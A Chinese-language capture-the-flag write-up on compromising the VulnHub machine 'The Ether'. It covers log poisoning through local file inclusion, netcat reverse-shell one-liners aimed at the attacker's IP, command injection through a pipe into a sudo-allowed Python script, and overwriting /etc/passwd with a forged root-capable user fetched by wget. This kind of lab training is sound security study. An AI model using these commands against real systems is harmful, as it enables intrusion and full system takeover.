evalsciencet靶機通關筆記
前言
好久沒打靶機了,這次找了一個還挺好玩的靶機,順便寫下筆記。
環境準備
靶機下載地址:https://www.vulnhub.com/entry/the-ether-evilscience-v101,212/
本地作為攻擊方:192.168.199.119
靶機:未知具體ip (由於靶機用的是NAT模式),可以確定的是在192.168.199.0/24內。
資訊收集
先確定靶機ip
# nmap -sP 192.168.1.0/24 Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-02 16:31 ?D1ú±ê×?ê±?? Nmap scan report for 192.168.1.1 Host is up. Nmap scan report for 192.168.1.131 Host is up (0.0010s latency). MAC Address: 00:0C:29:26:01:D6 (VMware) Nmap scan report for 192.168.1.254 Host is up (0.00s latency). MAC Address: 00:50:56:EF:D7:EB (VMware) Nmap done: 256 IP addresses (3 hosts up) scanned in 31.83 seconds
掃描埠
# nmap -p- -A 192.168.1.131 Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-02 16:38 ?D1ú±ê×?ê±?? Nmap scan report for 192.168.1.131 Host is up (0.00063s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 12:09:bc:b1:5c:c9:bd:c3:ca:0f:b1:d5:c3:7d:98:1e (RSA) | 256 de:77:4d:81:a0:93:da:00:53:3d:4a:30:bd:7e:35:7d (ECDSA) |_ 256 86:6c:7c:4b:04:7e:57:4f:68:16:a9:74:4c:0d:2f:56 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: The Ether MAC Address: 00:0C:29:26:01:D6 (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.63 ms 192.168.1.131 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 41.82 seconds
開放了22和80埠,emm大概就這些。
測試
首先先從web入手,開啟頁面http://192.168.1.131:80
![img](/image
翻閱後發現了一處疑似有檔案包含的地方
於是測試各種常見包含路徑,但是沒有什麼進展。
再測下能否遠端包含,在伺服器上放了一個info.php,內容為phpinfo();
但是也沒什麼變化。
接下來直接上fuzz大法,字典用SecLists中的檔案包含字典LFI-Jhaddix.txt
burp抓包後丟intruder
發現了幾個返回長度不一樣的包含路徑
逐一訪問後,發現除了/var/log/auth.log直接重定向到index.php,其他都是包含了一堆亂碼,沒什麼用。
抓包訪問包含/var/log/auth.log
既然能包含日誌檔案,那我們可以嘗試向日志文件寫入php程式碼,然後利用包含來執行getshell
通過ssh連線的使用者名稱來寫入日誌檔案
$ ssh ''@192.168.1.131
@192.168.1.131's password:
Permission denied, please try again.
執行命令ls試試
執行成功了,說明已經包含成功且執行了。
後面試了直接寫了個一句話,但是菜刀蟻劍都連不上,可能是php版本或者其他原因。。
還是直接nc反彈吧,本地先開啟nc監聽
# nc -lvp 999
listening on [any] 999 ...
加上引數 exec=/bin/nc -e /bin/bash 192.168.199.119 999
再加上url編碼
沒有反彈成功
看了下大佬的wp,說可能是因為版本的原因,-e引數沒有識別成功導致不能執行
於是試下沒有-e引數的命令
mknod backpipe p && nc 192.168.199.119 999 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc 192.168.199.119 999
rm -f /tmp/p; mknod /tmp/p p && nc 192.168.199.119 999 0/tmp/
編碼後測試第一條就可以了
# nc -lvp 999
listening on [any] 999 ...
connect to [192.168.199.119] from DESKTOP-6GE3653.lan [192.168.199.119] 10140
ls
1.php
2.php
about.php
backpipe
images
index.php
layout
licence.txt
research.php
xxxlogauditorxxx.py
提權
先檢視下當前使用者
whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sudo -l
檢視當前許可權
sudo -l
Matching Defaults entries for www-data on theEther:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on theEther:
(ALL) NOPASSWD: /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py
(root) NOPASSWD: /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py
能夠執行xxxlogauditorxxx.py無需密碼
嘗試執行
sudo ./xxxlogauditorxxx.py
sudo ./xxxlogauditorxxx.py
===============================
Log Auditor
===============================
Logs available
-------------------------------
/var/log/auth.log
/var/log/apache2/access.log
-------------------------------
Load which log?:
輸入/var/log/auth.log看看有什麼
/var/log/auth.log
Jun 2 22:03:01 theEther sshd[1472]: Invalid user v1nt from 192.168.1.1
Jun 2 22:03:01 theEther sshd[1472]: input_userauth_request: invalid user v1nt [preauth]
Jun 2 22:03:04 theEther sshd[1472]: pam_unix(sshd:auth): check pass; user unknown
Jun 2 22:03:04 theEther sshd[1472]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.1
發現可以命令執行,並且許可權比www-data大
嘗試邏輯或執行命令 /var/log/auth.log|whoami
Load which log?: /var/log/auth.log|whoami
www-data
成功執行了,檢視下/etc/passwd
Load which log?: /var/log/auth.log|cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
也能成功執行。接著偽造/etc/passwd提權
openssl passwd -1 -salt vint abc123 #該命令用於生成hash,-1表示用MD5基於BSD的金鑰演算法。使用者名稱為vint,密碼是abc123
在原來的passwd加上,放到伺服器上
然後wget下載,再覆蓋掉原來的passwd
wget http://xxx.xxx.xxx.xxx:8081/passwd
ls
1.php
2.php
about.php
backpipe
images
index.php
layout
licence.txt
passwd
research.php
xxxlogauditorxxx.py
再覆蓋掉原來的passwd
Load which log?: /var/log/auth.log | cp passwd /etc/passwd
再檢視passwd
新增成功了。
最後切換到我們建立的使用者就可以了。